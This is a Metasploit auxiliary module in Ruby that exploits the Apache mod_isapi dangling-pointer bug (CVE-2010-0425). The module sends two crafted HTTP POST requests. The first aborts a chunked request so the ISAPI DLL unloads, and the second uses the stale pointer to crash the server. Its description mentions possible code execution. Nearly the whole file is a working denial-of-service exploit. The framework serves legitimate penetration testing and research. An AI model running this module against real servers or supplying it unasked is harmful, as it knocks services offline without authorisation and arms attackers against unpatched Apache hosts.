##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache mod_isapi <= 2.2.14 Dangling Pointer',
      'Description'    => %q{
          This module triggers a use-after-free vulnerability in the Apache Software
        Foundation mod_isapi extension. In order to reach the vulnerable code, the
        target server must have an ISAPI module installed and configured.

        By making a request that terminates abnormally (either an aborted TCP connection or
        an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later,
        if another request comes for that ISAPI module, previously obtained pointers will
        be used resulting in an access violation or potentially arbitrary code execution.

        Although arbitrary code execution is theoretically possible, a real-world method of
        invoking this consequence has not been proven. In order to do so, one would need to
        find a situation where a particular ISAPI module loads at an image base address
        that can be re-allocated by a remote attacker.

        Limited success was encountered using two separate ISAPI modules. In this scenario,
        a second ISAPI module was loaded into the same memory area as the previously
        unloaded module.
      },
      'Author'         =>
        [
          'Brett Gervasoni',  # original discovery
          'jduck'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-0425' ],
          [ 'OSVDB', '62674'],
          [ 'BID', '38494' ],
          [ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ],
          [ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
          [ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
          [ 'EDB', '11650' ]
        ],
      'DisclosureDate' => 'Mar 05 2010'))

    register_options([
      Opt::RPORT(80),
      OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
    ])
  end

  def run

    serverIP = datastore['RHOST']
    if (datastore['RPORT'].to_i != 80)
      serverIP += ":" + datastore['RPORT'].to_s
    end
    isapiURI = datastore['ISAPI']

    # Create a stale pointer using the vulnerability
    print_status("Causing the ISAPI dll to be loaded and unloaded...")
    unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
      "Pragma: no-cache\r\n" +
      "Proxy-Connection: Keep-Alive\r\n" +
      "Host: " + serverIP + "\r\n" +
      "Transfer-Encoding: chunked\r\n" +
      "Content-Length: 40334\r\n\r\n" +
      Rex::Text.rand_text_alphanumeric(rand(128)+128)
    connect
    sock.put(unload_trigger)
    disconnect

    # Now make the stale pointer get used...
    print_status("Triggering the crash ...")
    data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
    crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
      "Host: " + serverIP + "\r\n" +
      "Content-Length: #{data.length}\r\n\r\n" +
      data

    connect
    sock.put(crash_trigger)
    disconnect

  end

end